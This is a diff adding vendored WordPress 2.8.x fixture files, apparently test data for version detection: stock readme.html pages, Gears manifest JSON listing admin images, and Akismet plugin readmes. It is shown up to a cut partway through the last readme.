spec/fixtures/wp_versions/2.8.2/readme.html
vendored
Executable file
@@ -0,0 +1,91 @@
|
||||
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
|
||||
<html xmlns="http://www.w3.org/1999/xhtml">
|
||||
<head>
|
||||
<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
|
||||
<title>WordPress › ReadMe</title>
|
||||
<link rel="stylesheet" href="wp-admin/css/install.css" type="text/css" />
|
||||
</head>
|
||||
<body>
|
||||
<h1 id="logo" style="text-align: center">
|
||||
<img alt="WordPress" src="wp-admin/images/wordpress-logo.png" />
|
||||
<br /> Version 2.8.2
|
||||
</h1>
|
||||
<p style="text-align: center">Semantic Personal Publishing Platform</p>
|
||||
|
||||
<h1>First Things First</h1>
|
||||
<p>Welcome. WordPress is a very special project to me. Every developer and contributor adds something unique to the mix, and together we create something beautiful that I'm proud to be a part of. Thousands of hours have gone into WordPress, and we're dedicated to making it better every day. Thank you for making it part of your world.</p>
|
||||
<p style="text-align: right;">— Matt Mullenweg</p>
|
||||
|
||||
<h1>Installation: Famous 5-minute install</h1>
|
||||
<ol>
|
||||
<li>Unzip the package in an empty directory.</li>
|
||||
<li>Open up <code>wp-config-sample.php</code> with a text editor like WordPad or similar and fill in your database connection details.</li>
|
||||
<li>Save the file as <code>wp-config.php</code></li>
|
||||
<li>Upload everything.</li>
|
||||
<li>Open <span class="file"><a href="wp-admin/install.php">/wp-admin/install.php</a></span> in your browser. This should setup the tables needed for your blog. If there is an error, double check your <span class="file">wp-config.php</span> file, and try again. If it fails again, please go to the <a href="http://wordpress.org/support/">support forums</a> with as much data as you can gather.</li>
|
||||
<li><strong>Note the password given to you.</strong></li>
|
||||
<li> The install script should then send you to the <a href="wp-login.php">login page</a>. Sign in with the username <code>admin</code> and the password generated during the installation. You can then click on 'Profile' to change the password.</li>
|
||||
</ol>
|
||||
|
||||
<h1>Upgrading</h1>
|
||||
<p>Before you upgrade anything, make sure you have backup copies of any files you may have modified such as <code>index.php</code>.</p>
|
||||
<h2>Upgrading from any previous WordPress to 2.8.2:</h2>
|
||||
<ol>
|
||||
<li>Delete your old WP files, saving ones you've modified.</li>
|
||||
<li>Upload the new files.</li>
|
||||
<li>Point your browser to <span class="file"><a href="wp-admin/upgrade.php">/wp-admin/upgrade.php</a>.</span></li>
|
||||
<li>You wanted more, perhaps? That's it!</li>
|
||||
</ol>
|
||||
<h2>Template Changes</h2>
|
||||
<p>If you have customized your templates you will probably have to make some changes to them. If you're converting your 1.2 or earlier templates, <a href="http://codex.wordpress.org/Upgrade_1.2_to_1.5">we've created a special guide for you</a>. </p>
|
||||
|
||||
<h1>Online Resources</h1>
|
||||
<p>If you have any questions that aren't addressed in this document, please take advantage of WordPress' numerous online resources:</p>
|
||||
<dl>
|
||||
<dt><a href="http://codex.wordpress.org/">The WordPress Codex </a></dt>
|
||||
<dd>The Codex is the encyclopedia of all things WordPress. It is the most comprehensive source of information for WordPress available.</dd>
|
||||
<dt><a href="http://wordpress.org/development/">The Development Blog</a></dt>
|
||||
<dd>This is where you'll find the latest updates and news related to WordPress. Bookmark and check often.</dd>
|
||||
<dt><a href="http://planet.wordpress.org/">WordPress Planet </a></dt>
|
||||
<dd>The WordPress Planet is a news aggregator that brings together posts from WordPress blogs around the web.</dd>
|
||||
<dt><a href="http://wordpress.org/support/">WordPress Support Forums</a></dt>
|
||||
<dd>If you've looked everywhere and still can't find an answer, the support forums are very active and have a large community ready to help. To help them help you be sure to use a descriptive thread title and describe your question in as much detail as possible.</dd>
|
||||
<dt><a href="http://codex.wordpress.org/IRC">WordPress IRC Channel</a></dt>
|
||||
<dd>Finally, there is an online chat channel that is used for discussion among people who use WordPress and occasionally support topics. The above wiki page should point you in the right direction. (<a href="irc://irc.freenode.net/wordpress">irc.freenode.net #wordpress</a>)</dd>
|
||||
</dl>
|
||||
|
||||
<h1>System Recommendations</h1>
|
||||
<ul>
|
||||
<li>PHP version <strong>4.3</strong> or higher.</li>
|
||||
<li>MySQL version <strong>4.0</strong> or higher.</li>
|
||||
<li>... and a link to <a href="http://wordpress.org/">http://wordpress.org</a> on your site.</li>
|
||||
</ul>
|
||||
<p>WordPress is the official continuation of <a href="http://cafelog.com/">b2/cafélog</a>, which came from Michel V. The work has been continued by the <a href="http://wordpress.org/about/">WordPress developers</a>. If you would like to support WordPress, please consider <a href="http://wordpress.org/donate/">donating</a>.</p>
|
||||
|
||||
<h1>Upgrading from another system</h1>
|
||||
<p>WordPress can <a href="http://codex.wordpress.org/Importing_Content">import from a number of systems</a>. First you need to get WordPress installed and working as described above.</p>
|
||||
|
||||
<h1>XML-RPC and Atom Interface</h1>
|
||||
<p>You can now post to your WordPress blog with tools like <a href="http://windowslivewriter.spaces.live.com/">Windows Live Writer</a>, <a href="http://ecto.kung-foo.tv/">Ecto</a>, <a href="http://bloggar.com/">Bloggar</a>, <a href="http://radio.userland.com">Radio Userland</a> (which means you can use Radio's email-to-blog feature), <a href="http://www.newzcrawler.com/">NewzCrawler</a>, and other tools that support the Blogging APIs! :) You can read more about <a href="http://codex.wordpress.org/XML-RPC_Support">XML-RPC support on the Codex</a>.</p>
|
||||
|
||||
<h1>Post via Email</h1>
|
||||
<p>You can post from an email client! To set this up go to your "Writing" options screen and fill in the connection details for your secret POP3 account. Then you need to set up <code>wp-mail.php</code> to execute periodically to check the mailbox for new posts. You can do it with Cron-jobs, or if your host doesn't support it you can look into the various website-monitoring services, and make them check your <code>wp-mail.php</code> URL.</p>
|
||||
<p>Posting is easy: Any email sent to the address you specify will be posted, with the subject as the title. It is best to keep the address discrete. The script will <em>delete</em> emails that are successfully posted.</p>
|
||||
|
||||
<h1>User Roles</h1>
|
||||
<p>We've eliminated user levels in order to make way for the much more flexible roles system introduced in 2.0. You can <a href="http://codex.wordpress.org/Roles_and_Capabilities">read more about Roles and Capabilities on the Codex</a>.</p>
|
||||
|
||||
<h1> Final notes</h1>
|
||||
<ul>
|
||||
<li>If you have any suggestions, ideas, comments, or if you (gasp!) found a bug, join us in the <a href="http://wordpress.org/support/">Support Forums</a>.</li>
|
||||
<li>WordPress now has a robust plugin API that makes extending the code easy. If you are a developer interested in utilizing this see the <a href="http://codex.wordpress.org/Plugin_API">plugin documentation in the Codex</a>. In most all cases you shouldn't modify any of the core code.</li>
|
||||
</ul>
|
||||
|
||||
<h1>Share the Love</h1>
|
||||
<p>WordPress has no multi-million dollar marketing campaign or celebrity sponsors, but we do have something even better—you. If you enjoy WordPress please consider telling a friend, setting it up for someone less knowledgable than yourself, or writing the author of a media article that overlooks us.</p>
|
||||
|
||||
<h1>Copyright</h1>
|
||||
<p>WordPress is released under the <abbr title="GNU Public License">GPL</abbr> (see <a href="license.txt">license.txt</a>).</p>
|
||||
|
||||
</body>
|
||||
</html>
|
||||
76
spec/fixtures/wp_versions/2.8.2/wp-admin/gears-manifest.php
vendored
Normal file
76
spec/fixtures/wp_versions/2.8.2/wp-admin/gears-manifest.php
vendored
Normal file
@@ -0,0 +1,76 @@
|
||||
{
|
||||
"betaManifestVersion" : 1,
|
||||
"version" : "ae52efa2f066ffc235840dc615f051d7",
|
||||
"entries" : [
|
||||
{ "url" : "images/align-center.png" },
|
||||
{ "url" : "images/align-left.png" },
|
||||
{ "url" : "images/align-none.png" },
|
||||
{ "url" : "images/align-right.png" },
|
||||
{ "url" : "images/archive-link.png" },
|
||||
{ "url" : "images/blue-grad.png" },
|
||||
{ "url" : "images/browse-happy.gif" },
|
||||
{ "url" : "images/bubble_bg.gif" },
|
||||
{ "url" : "images/bubble_bg-rtl.gif" },
|
||||
{ "url" : "images/button-grad.png" },
|
||||
{ "url" : "images/button-grad-active.png" },
|
||||
{ "url" : "images/comment-grey-bubble.png" },
|
||||
{ "url" : "images/date-button.gif" },
|
||||
{ "url" : "images/ed-bg.gif" },
|
||||
{ "url" : "images/fade-butt.png" },
|
||||
{ "url" : "images/fav.png" },
|
||||
{ "url" : "images/fav-arrow.gif" },
|
||||
{ "url" : "images/fav-arrow-rtl.gif" },
|
||||
{ "url" : "images/fav-top.png" },
|
||||
{ "url" : "images/generic.png" },
|
||||
{ "url" : "images/gray-grad.png" },
|
||||
{ "url" : "images/icons32.png" },
|
||||
{ "url" : "images/icons32-vs.png" },
|
||||
{ "url" : "images/list.png" },
|
||||
{ "url" : "images/list-vs.png" },
|
||||
{ "url" : "images/wpspin_light.gif" },
|
||||
{ "url" : "images/wpspin_dark.gif" },
|
||||
{ "url" : "images/logo.gif" },
|
||||
{ "url" : "images/logo-ghost.png" },
|
||||
{ "url" : "images/logo-login.gif" },
|
||||
{ "url" : "images/media-button-image.gif" },
|
||||
{ "url" : "images/media-button-music.gif" },
|
||||
{ "url" : "images/media-button-other.gif" },
|
||||
{ "url" : "images/media-button-video.gif" },
|
||||
{ "url" : "images/menu.png" },
|
||||
{ "url" : "images/menu-vs.png" },
|
||||
{ "url" : "images/menu-arrows.gif" },
|
||||
{ "url" : "images/menu-bits.gif" },
|
||||
{ "url" : "images/menu-bits-rtl.gif" },
|
||||
{ "url" : "images/menu-dark.gif" },
|
||||
{ "url" : "images/menu-dark-rtl.gif" },
|
||||
{ "url" : "images/no.png" },
|
||||
{ "url" : "images/required.gif" },
|
||||
{ "url" : "images/resize.gif" },
|
||||
{ "url" : "images/screen-options-left.gif" },
|
||||
{ "url" : "images/screen-options-right.gif" },
|
||||
{ "url" : "images/screen-options-right-up.gif" },
|
||||
{ "url" : "images/se.png" },
|
||||
{ "url" : "images/star.gif" },
|
||||
{ "url" : "images/toggle-arrow.gif" },
|
||||
{ "url" : "images/toggle-arrow-rtl.gif" },
|
||||
{ "url" : "images/white-grad.png" },
|
||||
{ "url" : "images/white-grad-active.png" },
|
||||
{ "url" : "images/wordpress-logo.png" },
|
||||
{ "url" : "images/wp-logo.gif" },
|
||||
{ "url" : "images/xit.gif" },
|
||||
{ "url" : "images/yes.png" },
|
||||
{ "url" : "../wp-includes/images/crystal/archive.png" },
|
||||
{ "url" : "../wp-includes/images/crystal/audio.png" },
|
||||
{ "url" : "../wp-includes/images/crystal/code.png" },
|
||||
{ "url" : "../wp-includes/images/crystal/default.png" },
|
||||
{ "url" : "../wp-includes/images/crystal/document.png" },
|
||||
{ "url" : "../wp-includes/images/crystal/interactive.png" },
|
||||
{ "url" : "../wp-includes/images/crystal/text.png" },
|
||||
{ "url" : "../wp-includes/images/crystal/video.png" },
|
||||
{ "url" : "../wp-includes/images/crystal/spreadsheet.png" },
|
||||
{ "url" : "../wp-includes/images/rss.png" },
|
||||
{ "url" : "../wp-includes/images/blank.gif" },
|
||||
{ "url" : "../wp-includes/images/upload.png" },
|
||||
{ "url" : "../wp-includes/js/thickbox/loadingAnimation.gif" },
|
||||
{ "url" : "../wp-includes/js/thickbox/tb-close.png" }
|
||||
]}
|
||||
42
spec/fixtures/wp_versions/2.8.2/wp-content/plugins/akismet/readme.txt
vendored
Executable file
42
spec/fixtures/wp_versions/2.8.2/wp-content/plugins/akismet/readme.txt
vendored
Executable file
@@ -0,0 +1,42 @@
|
||||
=== Akismet ===
|
||||
Contributors: matt, ryan, andy, mdawaffe, tellyworth
|
||||
Tags: akismet, comments, spam
|
||||
Requires at least: 2.0
|
||||
Tested up to: 2.8.2
|
||||
|
||||
Akismet checks your comments against the Akismet web service to see if they look like spam or not.
|
||||
|
||||
== Description ==
|
||||
|
||||
Akismet checks your comments against the Akismet web service to see if they look like spam or not and lets you
|
||||
review the spam it catches under your blog's "Comments" admin screen.
|
||||
|
||||
Want to show off how much spam Akismet has caught for you? Just put `<?php akismet_counter(); ?>` in your template.
|
||||
|
||||
See also: [WP Stats plugin](http://wordpress.org/extend/plugins/stats/).
|
||||
|
||||
PS: You'll need a [WordPress.com API key](http://wordpress.com/api-keys/) to use it.
|
||||
|
||||
== Installation ==
|
||||
|
||||
Upload the Akismet plugin to your blog, Activate it, then enter your [WordPress.com API key](http://wordpress.com/api-keys/).
|
||||
|
||||
1, 2, 3: You're done!
|
||||
|
||||
== Changelog ==
|
||||
|
||||
= 2.2.6 =
|
||||
|
||||
* Fix a global warning introduced in 2.2.5
|
||||
* Add changelog and additional readme.txt tags
|
||||
* Fix an array conversion warning in some versions of PHP
|
||||
* Support a new WPCOM_API_KEY constant for easier use with WordPress MU
|
||||
|
||||
= 2.2.5 =
|
||||
|
||||
* Include a new Server Connectivity diagnostic check, to detect problems caused by firewalls
|
||||
|
||||
= 2.2.4 =
|
||||
|
||||
* Fixed a key problem affecting the stats feature in WordPress MU
|
||||
* Provide additional blog information in Akismet API calls
|
||||
91
spec/fixtures/wp_versions/2.8.5/readme.html
vendored
Executable file
91
spec/fixtures/wp_versions/2.8.5/readme.html
vendored
Executable file
@@ -0,0 +1,91 @@
|
||||
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
|
||||
<html xmlns="http://www.w3.org/1999/xhtml">
|
||||
<head>
|
||||
<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
|
||||
<title>WordPress › ReadMe</title>
|
||||
<link rel="stylesheet" href="wp-admin/css/install.css" type="text/css" />
|
||||
</head>
|
||||
<body>
|
||||
<h1 id="logo" style="text-align: center">
|
||||
<img alt="WordPress" src="wp-admin/images/wordpress-logo.png" />
|
||||
<br /> Version 2.8.5
|
||||
</h1>
|
||||
<p style="text-align: center">Semantic Personal Publishing Platform</p>
|
||||
|
||||
<h1>First Things First</h1>
|
||||
<p>Welcome. WordPress is a very special project to me. Every developer and contributor adds something unique to the mix, and together we create something beautiful that I'm proud to be a part of. Thousands of hours have gone into WordPress, and we're dedicated to making it better every day. Thank you for making it part of your world.</p>
|
||||
<p style="text-align: right;">— Matt Mullenweg</p>
|
||||
|
||||
<h1>Installation: Famous 5-minute install</h1>
|
||||
<ol>
|
||||
<li>Unzip the package in an empty directory.</li>
|
||||
<li>Open up <code>wp-config-sample.php</code> with a text editor like WordPad or similar and fill in your database connection details.</li>
|
||||
<li>Save the file as <code>wp-config.php</code></li>
|
||||
<li>Upload everything.</li>
|
||||
<li>Open <span class="file"><a href="wp-admin/install.php">/wp-admin/install.php</a></span> in your browser. This should setup the tables needed for your blog. If there is an error, double check your <span class="file">wp-config.php</span> file, and try again. If it fails again, please go to the <a href="http://wordpress.org/support/">support forums</a> with as much data as you can gather.</li>
|
||||
<li><strong>Note the password given to you.</strong></li>
|
||||
<li> The install script should then send you to the <a href="wp-login.php">login page</a>. Sign in with the username <code>admin</code> and the password generated during the installation. You can then click on 'Profile' to change the password.</li>
|
||||
</ol>
|
||||
|
||||
<h1>Upgrading</h1>
|
||||
<p>Before you upgrade anything, make sure you have backup copies of any files you may have modified such as <code>index.php</code>.</p>
|
||||
<h2>Upgrading from any previous WordPress to 2.8.5:</h2>
|
||||
<ol>
|
||||
<li>Delete your old WP files, saving ones you've modified.</li>
|
||||
<li>Upload the new files.</li>
|
||||
<li>Point your browser to <span class="file"><a href="wp-admin/upgrade.php">/wp-admin/upgrade.php</a>.</span></li>
|
||||
<li>You wanted more, perhaps? That's it!</li>
|
||||
</ol>
|
||||
<h2>Template Changes</h2>
|
||||
<p>If you have customized your templates you will probably have to make some changes to them. If you're converting your 1.2 or earlier templates, <a href="http://codex.wordpress.org/Upgrade_1.2_to_1.5">we've created a special guide for you</a>. </p>
|
||||
|
||||
<h1>Online Resources</h1>
|
||||
<p>If you have any questions that aren't addressed in this document, please take advantage of WordPress' numerous online resources:</p>
|
||||
<dl>
|
||||
<dt><a href="http://codex.wordpress.org/">The WordPress Codex </a></dt>
|
||||
<dd>The Codex is the encyclopedia of all things WordPress. It is the most comprehensive source of information for WordPress available.</dd>
|
||||
<dt><a href="http://wordpress.org/development/">The Development Blog</a></dt>
|
||||
<dd>This is where you'll find the latest updates and news related to WordPress. Bookmark and check often.</dd>
|
||||
<dt><a href="http://planet.wordpress.org/">WordPress Planet </a></dt>
|
||||
<dd>The WordPress Planet is a news aggregator that brings together posts from WordPress blogs around the web.</dd>
|
||||
<dt><a href="http://wordpress.org/support/">WordPress Support Forums</a></dt>
|
||||
<dd>If you've looked everywhere and still can't find an answer, the support forums are very active and have a large community ready to help. To help them help you be sure to use a descriptive thread title and describe your question in as much detail as possible.</dd>
|
||||
<dt><a href="http://codex.wordpress.org/IRC">WordPress IRC Channel</a></dt>
|
||||
<dd>Finally, there is an online chat channel that is used for discussion among people who use WordPress and occasionally support topics. The above wiki page should point you in the right direction. (<a href="irc://irc.freenode.net/wordpress">irc.freenode.net #wordpress</a>)</dd>
|
||||
</dl>
|
||||
|
||||
<h1>System Recommendations</h1>
|
||||
<ul>
|
||||
<li>PHP version <strong>4.3</strong> or higher.</li>
|
||||
<li>MySQL version <strong>4.0</strong> or higher.</li>
|
||||
<li>... and a link to <a href="http://wordpress.org/">http://wordpress.org</a> on your site.</li>
|
||||
</ul>
|
||||
<p>WordPress is the official continuation of <a href="http://cafelog.com/">b2/cafélog</a>, which came from Michel V. The work has been continued by the <a href="http://wordpress.org/about/">WordPress developers</a>. If you would like to support WordPress, please consider <a href="http://wordpress.org/donate/">donating</a>.</p>
|
||||
|
||||
<h1>Upgrading from another system</h1>
|
||||
<p>WordPress can <a href="http://codex.wordpress.org/Importing_Content">import from a number of systems</a>. First you need to get WordPress installed and working as described above.</p>
|
||||
|
||||
<h1>XML-RPC and Atom Interface</h1>
|
||||
<p>You can now post to your WordPress blog with tools like <a href="http://windowslivewriter.spaces.live.com/">Windows Live Writer</a>, <a href="http://ecto.kung-foo.tv/">Ecto</a>, <a href="http://bloggar.com/">Bloggar</a>, <a href="http://radio.userland.com">Radio Userland</a> (which means you can use Radio's email-to-blog feature), <a href="http://www.newzcrawler.com/">NewzCrawler</a>, and other tools that support the Blogging APIs! :) You can read more about <a href="http://codex.wordpress.org/XML-RPC_Support">XML-RPC support on the Codex</a>.</p>
|
||||
|
||||
<h1>Post via Email</h1>
|
||||
<p>You can post from an email client! To set this up go to your "Writing" options screen and fill in the connection details for your secret POP3 account. Then you need to set up <code>wp-mail.php</code> to execute periodically to check the mailbox for new posts. You can do it with Cron-jobs, or if your host doesn't support it you can look into the various website-monitoring services, and make them check your <code>wp-mail.php</code> URL.</p>
|
||||
<p>Posting is easy: Any email sent to the address you specify will be posted, with the subject as the title. It is best to keep the address discrete. The script will <em>delete</em> emails that are successfully posted.</p>
|
||||
|
||||
<h1>User Roles</h1>
|
||||
<p>We've eliminated user levels in order to make way for the much more flexible roles system introduced in 2.0. You can <a href="http://codex.wordpress.org/Roles_and_Capabilities">read more about Roles and Capabilities on the Codex</a>.</p>
|
||||
|
||||
<h1> Final notes</h1>
|
||||
<ul>
|
||||
<li>If you have any suggestions, ideas, comments, or if you (gasp!) found a bug, join us in the <a href="http://wordpress.org/support/">Support Forums</a>.</li>
|
||||
<li>WordPress now has a robust plugin API that makes extending the code easy. If you are a developer interested in utilizing this see the <a href="http://codex.wordpress.org/Plugin_API">plugin documentation in the Codex</a>. In most all cases you shouldn't modify any of the core code.</li>
|
||||
</ul>
|
||||
|
||||
<h1>Share the Love</h1>
|
||||
<p>WordPress has no multi-million dollar marketing campaign or celebrity sponsors, but we do have something even better—you. If you enjoy WordPress please consider telling a friend, setting it up for someone less knowledgable than yourself, or writing the author of a media article that overlooks us.</p>
|
||||
|
||||
<h1>Copyright</h1>
|
||||
<p>WordPress is released under the <abbr title="GNU Public License">GPL</abbr> (see <a href="license.txt">license.txt</a>).</p>
|
||||
|
||||
</body>
|
||||
</html>
|
||||
76
spec/fixtures/wp_versions/2.8.5/wp-admin/gears-manifest.php
vendored
Normal file
76
spec/fixtures/wp_versions/2.8.5/wp-admin/gears-manifest.php
vendored
Normal file
@@ -0,0 +1,76 @@
|
||||
{
|
||||
"betaManifestVersion" : 1,
|
||||
"version" : "ae52efa2f066ffc235840dc615f051d7",
|
||||
"entries" : [
|
||||
{ "url" : "images/align-center.png" },
|
||||
{ "url" : "images/align-left.png" },
|
||||
{ "url" : "images/align-none.png" },
|
||||
{ "url" : "images/align-right.png" },
|
||||
{ "url" : "images/archive-link.png" },
|
||||
{ "url" : "images/blue-grad.png" },
|
||||
{ "url" : "images/browse-happy.gif" },
|
||||
{ "url" : "images/bubble_bg.gif" },
|
||||
{ "url" : "images/bubble_bg-rtl.gif" },
|
||||
{ "url" : "images/button-grad.png" },
|
||||
{ "url" : "images/button-grad-active.png" },
|
||||
{ "url" : "images/comment-grey-bubble.png" },
|
||||
{ "url" : "images/date-button.gif" },
|
||||
{ "url" : "images/ed-bg.gif" },
|
||||
{ "url" : "images/fade-butt.png" },
|
||||
{ "url" : "images/fav.png" },
|
||||
{ "url" : "images/fav-arrow.gif" },
|
||||
{ "url" : "images/fav-arrow-rtl.gif" },
|
||||
{ "url" : "images/fav-top.png" },
|
||||
{ "url" : "images/generic.png" },
|
||||
{ "url" : "images/gray-grad.png" },
|
||||
{ "url" : "images/icons32.png" },
|
||||
{ "url" : "images/icons32-vs.png" },
|
||||
{ "url" : "images/list.png" },
|
||||
{ "url" : "images/list-vs.png" },
|
||||
{ "url" : "images/wpspin_light.gif" },
|
||||
{ "url" : "images/wpspin_dark.gif" },
|
||||
{ "url" : "images/logo.gif" },
|
||||
{ "url" : "images/logo-ghost.png" },
|
||||
{ "url" : "images/logo-login.gif" },
|
||||
{ "url" : "images/media-button-image.gif" },
|
||||
{ "url" : "images/media-button-music.gif" },
|
||||
{ "url" : "images/media-button-other.gif" },
|
||||
{ "url" : "images/media-button-video.gif" },
|
||||
{ "url" : "images/menu.png" },
|
||||
{ "url" : "images/menu-vs.png" },
|
||||
{ "url" : "images/menu-arrows.gif" },
|
||||
{ "url" : "images/menu-bits.gif" },
|
||||
{ "url" : "images/menu-bits-rtl.gif" },
|
||||
{ "url" : "images/menu-dark.gif" },
|
||||
{ "url" : "images/menu-dark-rtl.gif" },
|
||||
{ "url" : "images/no.png" },
|
||||
{ "url" : "images/required.gif" },
|
||||
{ "url" : "images/resize.gif" },
|
||||
{ "url" : "images/screen-options-left.gif" },
|
||||
{ "url" : "images/screen-options-right.gif" },
|
||||
{ "url" : "images/screen-options-right-up.gif" },
|
||||
{ "url" : "images/se.png" },
|
||||
{ "url" : "images/star.gif" },
|
||||
{ "url" : "images/toggle-arrow.gif" },
|
||||
{ "url" : "images/toggle-arrow-rtl.gif" },
|
||||
{ "url" : "images/white-grad.png" },
|
||||
{ "url" : "images/white-grad-active.png" },
|
||||
{ "url" : "images/wordpress-logo.png" },
|
||||
{ "url" : "images/wp-logo.gif" },
|
||||
{ "url" : "images/xit.gif" },
|
||||
{ "url" : "images/yes.png" },
|
||||
{ "url" : "../wp-includes/images/crystal/archive.png" },
|
||||
{ "url" : "../wp-includes/images/crystal/audio.png" },
|
||||
{ "url" : "../wp-includes/images/crystal/code.png" },
|
||||
{ "url" : "../wp-includes/images/crystal/default.png" },
|
||||
{ "url" : "../wp-includes/images/crystal/document.png" },
|
||||
{ "url" : "../wp-includes/images/crystal/interactive.png" },
|
||||
{ "url" : "../wp-includes/images/crystal/text.png" },
|
||||
{ "url" : "../wp-includes/images/crystal/video.png" },
|
||||
{ "url" : "../wp-includes/images/crystal/spreadsheet.png" },
|
||||
{ "url" : "../wp-includes/images/rss.png" },
|
||||
{ "url" : "../wp-includes/images/blank.gif" },
|
||||
{ "url" : "../wp-includes/images/upload.png" },
|
||||
{ "url" : "../wp-includes/js/thickbox/loadingAnimation.gif" },
|
||||
{ "url" : "../wp-includes/js/thickbox/tb-close.png" }
|
||||
]}
|
||||
46
spec/fixtures/wp_versions/2.8.5/wp-content/plugins/akismet/readme.txt
vendored
Executable file
46
spec/fixtures/wp_versions/2.8.5/wp-content/plugins/akismet/readme.txt
vendored
Executable file
@@ -0,0 +1,46 @@
|
||||
=== Akismet ===
|
||||
Contributors: matt, ryan, andy, mdawaffe, tellyworth
|
||||
Tags: akismet, comments, spam
|
||||
Requires at least: 2.0
|
||||
Tested up to: 2.8.4
|
||||
|
||||
Akismet checks your comments against the Akismet web service to see if they look like spam or not.
|
||||
|
||||
== Description ==
|
||||
|
||||
Akismet checks your comments against the Akismet web service to see if they look like spam or not and lets you
|
||||
review the spam it catches under your blog's "Comments" admin screen.
|
||||
|
||||
Want to show off how much spam Akismet has caught for you? Just put `<?php akismet_counter(); ?>` in your template.
|
||||
|
||||
See also: [WP Stats plugin](http://wordpress.org/extend/plugins/stats/).
|
||||
|
||||
PS: You'll need a [WordPress.com API key](http://wordpress.com/api-keys/) to use it.
|
||||
|
||||
== Installation ==
|
||||
|
||||
Upload the Akismet plugin to your blog, Activate it, then enter your [WordPress.com API key](http://wordpress.com/api-keys/).
|
||||
|
||||
1, 2, 3: You're done!
|
||||
|
||||
== Changelog ==
|
||||
|
||||
= 2.2.7 =
|
||||
|
||||
* Add a new AKISMET_VERSION constant
|
||||
|
||||
= 2.2.6 =
|
||||
|
||||
* Fix a global warning introduced in 2.2.5
|
||||
* Add changelog and additional readme.txt tags
|
||||
* Fix an array conversion warning in some versions of PHP
|
||||
* Support a new WPCOM_API_KEY constant for easier use with WordPress MU
|
||||
|
||||
= 2.2.5 =
|
||||
|
||||
* Include a new Server Connectivity diagnostic check, to detect problems caused by firewalls
|
||||
|
||||
= 2.2.4 =
|
||||
|
||||
* Fixed a key problem affecting the stats feature in WordPress MU
|
||||
* Provide additional blog information in Akismet API calls
|
||||
91
spec/fixtures/wp_versions/2.8.6/readme.html
vendored
Executable file
91
spec/fixtures/wp_versions/2.8.6/readme.html
vendored
Executable file
@@ -0,0 +1,91 @@
|
||||
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
|
||||
<html xmlns="http://www.w3.org/1999/xhtml">
|
||||
<head>
|
||||
<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
|
||||
<title>WordPress › ReadMe</title>
|
||||
<link rel="stylesheet" href="wp-admin/css/install.css" type="text/css" />
|
||||
</head>
|
||||
<body>
|
||||
<h1 id="logo" style="text-align: center">
|
||||
<img alt="WordPress" src="wp-admin/images/wordpress-logo.png" />
|
||||
<br /> Version 2.8.6
|
||||
</h1>
|
||||
<p style="text-align: center">Semantic Personal Publishing Platform</p>
|
||||
|
||||
<h1>First Things First</h1>
|
||||
<p>Welcome. WordPress is a very special project to me. Every developer and contributor adds something unique to the mix, and together we create something beautiful that I'm proud to be a part of. Thousands of hours have gone into WordPress, and we're dedicated to making it better every day. Thank you for making it part of your world.</p>
|
||||
<p style="text-align: right;">— Matt Mullenweg</p>
|
||||
|
||||
<h1>Installation: Famous 5-minute install</h1>
|
||||
<ol>
|
||||
<li>Unzip the package in an empty directory.</li>
|
||||
<li>Open up <code>wp-config-sample.php</code> with a text editor like WordPad or similar and fill in your database connection details.</li>
|
||||
<li>Save the file as <code>wp-config.php</code></li>
|
||||
<li>Upload everything.</li>
|
||||
<li>Open <span class="file"><a href="wp-admin/install.php">/wp-admin/install.php</a></span> in your browser. This should setup the tables needed for your blog. If there is an error, double check your <span class="file">wp-config.php</span> file, and try again. If it fails again, please go to the <a href="http://wordpress.org/support/">support forums</a> with as much data as you can gather.</li>
|
||||
<li><strong>Note the password given to you.</strong></li>
|
||||
<li> The install script should then send you to the <a href="wp-login.php">login page</a>. Sign in with the username <code>admin</code> and the password generated during the installation. You can then click on 'Profile' to change the password.</li>
|
||||
</ol>
|
||||
|
||||
<h1>Upgrading</h1>
|
||||
<p>Before you upgrade anything, make sure you have backup copies of any files you may have modified such as <code>index.php</code>.</p>
|
||||
<h2>Upgrading from any previous WordPress to 2.8.6:</h2>
|
||||
<ol>
|
||||
<li>Delete your old WP files, saving ones you've modified.</li>
|
||||
<li>Upload the new files.</li>
|
||||
<li>Point your browser to <span class="file"><a href="wp-admin/upgrade.php">/wp-admin/upgrade.php</a>.</span></li>
|
||||
<li>You wanted more, perhaps? That's it!</li>
|
||||
</ol>
|
||||
<h2>Template Changes</h2>
|
||||
<p>If you have customized your templates you will probably have to make some changes to them. If you're converting your 1.2 or earlier templates, <a href="http://codex.wordpress.org/Upgrade_1.2_to_1.5">we've created a special guide for you</a>. </p>
|
||||
|
||||
<h1>Online Resources</h1>
|
||||
<p>If you have any questions that aren't addressed in this document, please take advantage of WordPress' numerous online resources:</p>
|
||||
<dl>
|
||||
<dt><a href="http://codex.wordpress.org/">The WordPress Codex </a></dt>
|
||||
<dd>The Codex is the encyclopedia of all things WordPress. It is the most comprehensive source of information for WordPress available.</dd>
|
||||
<dt><a href="http://wordpress.org/development/">The Development Blog</a></dt>
|
||||
<dd>This is where you'll find the latest updates and news related to WordPress. Bookmark and check often.</dd>
|
||||
<dt><a href="http://planet.wordpress.org/">WordPress Planet </a></dt>
|
||||
<dd>The WordPress Planet is a news aggregator that brings together posts from WordPress blogs around the web.</dd>
|
||||
<dt><a href="http://wordpress.org/support/">WordPress Support Forums</a></dt>
|
||||
<dd>If you've looked everywhere and still can't find an answer, the support forums are very active and have a large community ready to help. To help them help you be sure to use a descriptive thread title and describe your question in as much detail as possible.</dd>
|
||||
<dt><a href="http://codex.wordpress.org/IRC">WordPress IRC Channel</a></dt>
|
||||
<dd>Finally, there is an online chat channel that is used for discussion among people who use WordPress and occasionally support topics. The above wiki page should point you in the right direction. (<a href="irc://irc.freenode.net/wordpress">irc.freenode.net #wordpress</a>)</dd>
|
||||
</dl>
|
||||
|
||||
<h1>System Recommendations</h1>
|
||||
<ul>
|
||||
<li>PHP version <strong>4.3</strong> or higher.</li>
|
||||
<li>MySQL version <strong>4.0</strong> or higher.</li>
|
||||
